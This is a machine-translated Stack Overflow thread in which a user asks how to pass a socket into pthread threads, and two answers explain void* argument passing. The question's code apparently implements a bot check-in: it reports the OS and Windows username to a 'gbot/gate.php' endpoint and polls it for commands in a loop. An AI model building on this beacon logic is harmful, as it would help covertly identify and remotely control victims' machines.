void* sendFirstReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL){
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "&version=win";
mybuf += "\r\n\r\n";
}
else
mybuf += "linux\r\n\r\n";
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
void* sendSecReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n");
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
while(true)
{
pthread_t t1;
pthread_t t2;
pthread_create(&t1, NULL, &sendFirstReq, NULL);
pthread_create(&t1, NULL, &sendSecReq, NULL);
_sleep(5000);
}
这是我项目中的一段代码。我想做多线程,但我会遇到很多错误。首先,void*函数必须得到一个void* arg,所以我可以通过套接字发送套接字吗?另一个错误是:
初始化“`int pthread_create(pthread_t*,pthread_attr_t_* const*,void*)(pthread_attr_t_**)”的参数3
我不知道怎么解决,谢谢你的帮助。
发布于 2013-04-10 17:36:10
当您实现多线程时,请确保在不同的套接字上发送和接收!尽管如此,传递void*参数的最好方法是一个结构,但我相信您可以在void*中发送不同的数据类型,只需确保将其切片即可。
示例:
void* sendFirstReq(void* arg);
SOCKET socket;
pthread_t a;
pthread_create(&a,NULL,sendFirstReq(),(void*)&socket);
在sendFirstReq()中,切片参数(SOCKET*)arg;
发布于 2013-04-10 19:18:07
如果您将套接字部分和多线程部分分开,这样您就可以单独处理它们,这将有所帮助。多线程的问题是,您必须使用函数,获取并返回POSIX线程的一个空指针。有两种方法可以让其他事情通过这个过程。第一种方法是分配结构并传递指向pthread_create的指针:
void* thread_function(void* p)
{
mydata* ps = static_cast<mydata*>(p);
...
}
mydata s = ...;
pthread_create(..., thread_function, &s);
这里需要注意的是,s
有一个作用域,并且必须确保在线程使用它时它仍然处于活动状态。这可能需要使用new动态分配,这反过来又需要小心,以免导致内存泄漏。另一种用于小整数的方法是将它们直接作为指针传递:
void* thread_function(void* p)
{
int x = reinterpret_cast<int>(p);
...
}
int x = ...;
assert(sizeof x <= sizeof (void*));
pthread_create(..., thread_function, reinterpret_cast<void*>(x));
因为套接字只是一个不大于指针的整数,所以您应该能够这样做,这可能是最简单的工作方式。
https://stackoverflow.com/questions/15931663
复制相似问题